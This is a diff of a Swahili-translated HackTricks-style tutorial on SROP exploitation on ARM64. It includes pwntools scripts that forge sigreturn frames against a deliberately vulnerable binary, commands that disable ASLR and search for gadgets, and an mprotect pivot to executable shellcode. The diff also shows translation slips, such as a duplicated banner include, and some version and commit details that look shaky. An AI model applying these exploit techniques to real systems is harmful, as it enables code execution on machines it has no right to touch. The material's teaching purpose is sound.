Translated ['src/binary-exploitation/rop-return-oriented-programing/srop

src/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/srop-arm64.md

@@ -1,10 +1,10 @@
-# SROP - ARM64
+# {{#include ../../../banners/hacktricks-training.md}}
 
 {{#include ../../../banners/hacktricks-training.md}}
 
 ## Mfano wa Pwntools
 
-Mfano huu unaunda binary yenye udhaifu na kuifanya. Binary **inasoma kwenye stack** kisha inaita **`sigreturn`**:
+Mfano huu unaunda binary iliyo hatarini na kuifanya. Binary **inasoma kwenye stack** kisha inaita **`sigreturn`**:
 ```python
 from pwn import *
 
@@ -32,7 +32,7 @@ p = process(binary.path)
 p.send(bytes(frame))
 p.interactive()
 ```
-## mfano wa bof
+## bof mfano
 
 ### Msimbo
 ```c
@@ -67,7 +67,7 @@ do_stuff(2);
 return 0;
 }
 ```
-Kusanya na:
+Tunga kwa:
 ```bash
 clang -o srop srop.c -fno-stack-protector
 echo 0 | sudo tee /proc/sys/kernel/randomize_va_space  # Disable ASLR
@@ -103,9 +103,9 @@ payload += bytes(frame)
 p.sendline(payload)
 p.interactive()
 ```
-## mfano wa bof bila sigreturn
+## bof mfano bila sigreturn
 
-### Msimbo
+### Code
 ```c
 #include <stdio.h>
 #include <string.h>
@@ -171,10 +171,59 @@ Kwa maelezo zaidi kuhusu vdso angalia:
 ../ret2vdso.md
 {{#endref}}
 
-Na ili kupita anwani ya `/bin/sh` unaweza kuunda mabadiliko kadhaa ya mazingira yanayolenga hiyo, kwa maelezo zaidi:
+Na ili kupita anwani ya `/bin/sh` unaweza kuunda mabadiliko kadhaa ya mazingira yanayorejelea hiyo, kwa maelezo zaidi:
 
 {{#ref}}
 ../../common-binary-protections-and-bypasses/aslr/
 {{#endref}}
 
+---
+
+## Kutafuta vifaa vya `sigreturn` kiotomatiki (2023-2025)
+
+Katika usambazaji wa kisasa, trampoline ya `sigreturn` bado inatolewa na ukurasa wa **vDSO** lakini offset halisi inaweza kutofautiana kati ya toleo la kernel na bendera za ujenzi kama BTI (`+branch-protection`) au PAC. Kuwezesha kugundua kwake kunazuia kuweka offsets kwa nguvu:
+```bash
+# With ROPgadget ≥ 7.4
+python3 -m ROPGadget --binary /proc/$(pgrep srop)/mem --only "svc #0" 2>/dev/null | grep -i sigreturn
+
+# With rp++ ≥ 1.0.9 (arm64 support)
+rp++ -f ./binary --unique -r | grep "mov\s\+x8, #0x8b"   # 0x8b = __NR_rt_sigreturn
+```
+Zana zote mbili zinaelewa **AArch64** encodings na zitaorodhesha mguso wa `mov x8, 0x8b ; svc #0` ambao unaweza kutumika kama *SROP gadget*.
+
+> Kumbuka: Wakati binaries zinapoundwa na **BTI**, amri ya kwanza ya kila lengo la tawi la moja kwa moja halali ni `bti c`.  `sigreturn` trampolines zilizowekwa na linker tayari zinajumuisha pad ya BTI sahihi hivyo gadget inabaki kutumika kutoka kwa msimbo usio na mamlaka.
+
+## Kuunganisha SROP na ROP (pivot kupitia `mprotect`)
+
+`rt_sigreturn` inatupa udhibiti wa *mifumo yote* ya usajili wa jumla na `pstate`.  Mwelekeo wa kawaida kwenye x86 ni: 1) tumia SROP kuita `mprotect`, 2) pivot kwa stack mpya inayoweza kutekelezwa yenye shell-code. Wazo sawa kabisa linafanya kazi kwenye ARM64:
+```python
+frame = SigreturnFrame()
+frame.x8 = constants.SYS_mprotect   # 226
+frame.x0 = 0x400000                # page-aligned stack address
+frame.x1 = 0x2000                  # size
+frame.x2 = 7                       # PROT_READ|PROT_WRITE|PROT_EXEC
+frame.sp = 0x400000 + 0x100        # new pivot
+frame.pc = svc_call                # will re-enter kernel
+```
+Baada ya kutuma fremu unaweza kutuma hatua ya pili inayojumuisha shell-code safi kwenye `0x400000+0x100`. Kwa sababu **AArch64** inatumia *PC-relative* anwani hii mara nyingi ni rahisi zaidi kuliko kujenga minyororo mikubwa ya ROP.
+
+## Uthibitishaji wa Kernel, PAC & Shadow-Stacks
+
+Linux 5.16 ilianzisha uthibitishaji mkali wa fremu za ishara za watumiaji (commit `36f5a6c73096`). Kernel sasa inakagua:
+
+* `uc_flags` lazima iwe na `UC_FP_XSTATE` wakati `extra_context` inapatikana.
+* Neno lililotengwa katika `struct rt_sigframe` lazima liwe sifuri.
+* Kila kiashiria katika rekodi ya *extra_context* kimepangwa na kinaelekeza ndani ya nafasi ya anwani ya mtumiaji.
+
+`pwntools>=4.10` inaunda fremu zinazokidhi vigezo kiotomatiki, lakini ikiwa unazijenga kwa mikono hakikisha kuanzisha *reserved* kuwa sifuri na uondoe rekodi ya SVE isipokuwa unahitaji kweli—venginevyo `rt_sigreturn` itatoa `SIGSEGV` badala ya kurudi.
+
+Kuanza na Android 14 na Fedora 38, userland inajengwa na **PAC** (*Pointer Authentication*) na **BTI** imewezeshwa kwa default (`-mbranch-protection=standard`). *SROP* yenyewe haijaathiriwa kwa sababu kernel inabadilisha `PC` moja kwa moja kutoka kwa fremu iliyoundwa, ikipita LR iliyothibitishwa iliyohifadhiwa kwenye stack; hata hivyo, **minyororo yoyote ya ROP inayofuata** inayofanya matawi yasiyo ya moja kwa moja lazima iruke kwenye maagizo yaliyo na BTI au anwani za PAC. Kumbuka hilo unapochagua gadgets.
+
+Shadow-Call-Stacks zilizoanzishwa katika ARMv8.9 (na tayari zimewezeshwa kwenye ChromeOS 1.27+) ni hatua ya kupunguza kiwango cha kompyuta na *hazihusiani* na SROP kwa sababu hakuna maagizo ya kurudi yanayotekelezwa—mwelekeo wa udhibiti unahamishwa na kernel.
+
+## Marejeleo
+
+* [Linux arm64 signal handling documentation](https://docs.kernel.org/arch/arm64/signal.html)
+* [LWN – "AArch64 branch protection comes to GCC and glibc" (2023)](https://lwn.net/Articles/915041/)
+
 {{#include ../../../banners/hacktricks-training.md}}